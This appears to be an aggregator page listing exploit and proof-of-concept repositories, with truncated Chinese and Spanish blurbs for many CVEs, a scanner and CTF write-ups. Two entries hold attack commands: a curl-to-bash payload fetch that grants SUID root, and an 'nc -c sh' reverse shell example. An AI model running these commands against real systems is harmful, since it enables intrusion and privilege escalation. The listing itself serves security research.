CVE-2024-23334-PoC

CVE-2024-23334-PoC 此仓库是 CVE-2024-23334 的概念验证（POC），演示了尝试复现 aiohttp 中导致本地文件包含（LFI）的漏洞。 !CAUTION 免责声明：此 POC 仅用于教育目的。请勿在真实场景中使用。 安装 1. 克隆仓库并设置环境。 root@kitploit: git clone https://github.com/Betan423/CVE-2024-23334-PoC cd CVE-2024-23334-PoC run in virtual environment python3 -m venv .env chmod +x...

heartbleed-test

root@kitploit: $ python getwebsiteurls.py "searchstring" websites.txt $ sh heartbleed-test.sh websites.txt | tee -a scanresult.log...

CVE-2022-41220

Descripción de CVE-2022-41220 md2roff 1.9 sufre un desbordamiento de búfer en la pila a través de un archivo Markdown que contiene una gran cantidad de caracteres consecutivos para procesar. Replicación Para replicar la vulnerabilidad, descargue una versión vulnerable de md2roff versión 1.9:...

CVE-2025-6018-6019

CVE-2025-6018 CVE-2025-6019 PoC Exploit Escalada Local de Privilegios LPE - openSUSE / SUSE Linux Enterprise 15 PoC/Exploit funcional para CVE-2025-6018 y CVE-2025-6019 - Escalada de privilegios de un usuario sin privilegios a root en openSUSE Leap 15.x y SUSE Linux Enterprise 15.x 🎯 Resumen...

CVE-2020-9484

CVE-2020-9484 Referencia Escrito por redtimmysec, masahiro331 https://packetstormsecurity.com/files/157924/CVE-2020-9484.tgz + Acabo de analizar un exploit de 1 día. Luego lo remodelé. Descripción En comparación con el PoC anterior, tiene las siguientes ventajas. + Script de entorno para Ubuntu...

cve-2024-37762

描述 MachForm 至版本 21 受一个经过身份验证的无限制文件上传漏洞影响，该漏洞可导致远程代码执行。 该应用程序提供了创建带有文件上传功能的表单的可能性。虽然默认情况下可接受的文件仅限于常见的安全子集，但表单创建者还可以指定允许的其他格式。 如果拥有表单创建权限的用户创建了一个带有文件上传功能的表单，并且允许了“PHP”格式，那么任何未经身份验证的用户都可以利用此表单获得远程代码执行。 风险 严重性：严重 CVSS v3.1 评分：9.9 CVSS v3.1 向量：AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 受影响资源 版本：至 MachForm v2...

scalpel

Desde el 27/6/2013, Scalpel se ha liberado bajo la Licencia Apache 2.0 y el código fuente está disponible en el repositorio de GitHub de The Sleuth Kit. No se mantiene activamente. El equipo de Autopsy comenzó a trabajar en él para integrarlo estrechamente mediante enlaces Java/JNI, pero se...

Hashcat-Cheatsheet

Chuleta de Hashcat Chuleta de Hashcat para OSCP https://hashcat.net/wiki/doku.php?id=hashcat Identificar hashes hash-identifier Hashes de ejemplo: https://hashcat.net/wiki/doku.php?id=examplehashes ¡MÁXIMA POTENCIA! He descubierto que puedo exprimir un poco más de potencia al crackear hashes...

Winrar-Exploit-CVE-2023-38831

WinRAR 漏洞利用构建器 WinForms / .NET Framework WinRAR 版本低于 6.23 概述 此存储库包含一个用 C .NET Framework 4.8 编写的小型 Windows 桌面/控制台实用程序，演示了安全研究领域中常讨论的存档结构技术 。 关于 CVE-2023-38831 高层概述 该项目在网上常与 CVE-2023-38831 关联，该漏洞是 WinRAR 的一个问题，其中特制的存档可导致用户在与看似无害的文件交互时运行意外内容 。 影响（概念性） ：社会工程 + 令人困惑的存档内容可导致执行用户未预期的内容。 应对措施 ：将 WinRAR...

CVE-2021-45901

CVE-2021-45901 ServiceNow - 用户名枚举 PoC 代码 enumSNOWUsers.py - SNOW 用户枚举器 标题 ServiceNow 应用程序中发现的用户名枚举漏洞 发布：版本 1.0 厂商：ServiceNow 产品：ServiceNow https://www.servicenow.com/ 受影响版本：Orlando glide-orlando-12-11-2019patch5-06-17-2020 产品描述： ServiceNow 是一家美国软件公司，总部位于加利福尼亚州圣克拉拉，开发云计算平台，帮助企业管理企业运营的数字工作流。 参考...

CVE-2025-66478

CVE-2025-66478 - Análisis de registros de ataques reales contra la vulnerabilidad RCE de Next.js Server Actions Resumen Este proyecto recopila los registros reales de ataques capturados por una aplicación Next.js 15.1.2 expuesta en Internet ejecutada en un contenedor Docker. Estos registros...

CVE-2024-32019-poc

CVE-2024-32019-poc Netdata ndsudo 漏洞利用验证 PoC 构建二进制文件： root@kitploit: go build -ldflags "-s -w" -o nvme poc.go upx nvme 运行 bash 脚本： root@kitploit: bash exploit.sh 在目标机器上，在可写目录中运行： root@kitploit: curl http://:8000/payload.sh | bash 它会自动下载 nvme 二进制文件，导出路径，运行 ndsudo 并给 /bin/bash 添加 SUID 权限。 你可能需要修改...

CVE-2024-12209

CVE-2024-12209 WP Umbrella: Update Backup Restore & Monitoring = 2.17.0 - Vulnerabilidad de inclusión de archivos locales no autenticada Descripción El plugin WP Umbrella: Update Backup Restore & Monitoring para WordPress es vulnerable a Inclusión de Archivos Locales en todas las versiones hasta ...

CVE-2024-50404

CVE-2024-50404 https://www.qnap.com/en/security-advisory/qsa-24-48 https://www.cve.org/CVERecord?id=2024-50404 CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N 6.8 “已报告一个链接跟随漏洞会影响 Qsync Central。若被利用，该漏洞可能允许已获得用户访问权限的远程攻击者遍历文件系统到非预期位置。” 发现日期： 2024年4月22日 修复日期： 2024年12月7日 受影响版本： Qsync...

CVE-2025-29927

Next.js Middleware Bypass Checker | CVE-2025-29927 基于 Zhero Web Security 研究的 Bash 自动化工具，用于检测存在 中间件绕过 漏洞（CVE-2025-29927 ）的 Next.js 应用。 前提条件 bash whatweb curl 在 Debian/Ubuntu 上安装： root@kitploit: sudo apt install whatweb curl 用法 扫描单个 URL root@kitploit: ./CVE-2025-29927.sh -u https://example.com 扫描多个...

CVE-2023-30258-RCE-POC

CVE-2023-30258-RCE-POC CVE-2023-30258-RCE 的概念验证，作者：n0o0b 用法 root@kitploit: usage: poc.py -h -u URL -c CMD example. python poc.py -u http://10.10.69.34/mbilling --cmd "nc -c sh 10.21.126.163 8888" options: -h, --help show this help message and exit -u URL, --url URL Target URL -c CMD, --cmd CMD...

cve-2018-12386

Firefox 沙盒化 RCE 漏洞利用 CVE-2018-12386 这是一个针对漏洞 CVE-2018-12386 的简单漏洞利用程序，由 Niklas Baumstark、Samuel Groß 和 Bruno Keith 发现。 这主要是一个我出于兴趣编写的 PoC（概念验证），不包含沙盒绕过，并且仅适用于已知利用程序所用偏移量的特定 Linux 环境（偏移量可在 exploit/offsets.js 中修改）。 该漏洞利用程序适用于 Firefox 62.0.3 及 Firefox ESR 60.2.2 之前的版本。 下载 Firefox 以测试漏洞利用程序 你可以直接从...

cve-2021-4034

CVE-2021-4034 - PwnKit（Polkit 本地权限提升） 概述 本仓库包含 CVE-2021-4034 （即 PwnKit）的概念验证代码。仅用于个人学习和教育目的 。请仅在您拥有或明确授权测试的环境中使用。 依赖项 要构建该利用程序，您需要： gcc make nasm ld xxd 描述 pkexec 是 Polkit 的一个实用程序，允许授权用户以另一用户身份执行程序（通常具有管理权限），类似于 sudo。CVE-2021-4034 是一个影响该二进制文件的内存损坏漏洞。问题源于当 argc == 0...

Shocker-TJNULL-OSCP-

HackTheBox: Writeup de Shocker Un recorrido estructurado y profesional que muestra la identificación y explotación manual de la crítica vulnerabilidad Shellshock , seguida de una escalada de privilegios local mediante permisos sudo mal configurados en un objetivo Linux. Resumen Técnico Sistema...

ZigRaceExploit

CVE-2021-25741 — Explotación de TOCTOU Symlink Race en Zig Exploit educativo de la condición de carrera TOCTOU Time Of Check, Time Of Use que está en el origen de CVE-2021-25741, una vulnerabilidad en el kubelet de Kubernetes. El proyecto demuestra localmente sin clúster K8s cómo un intercambio...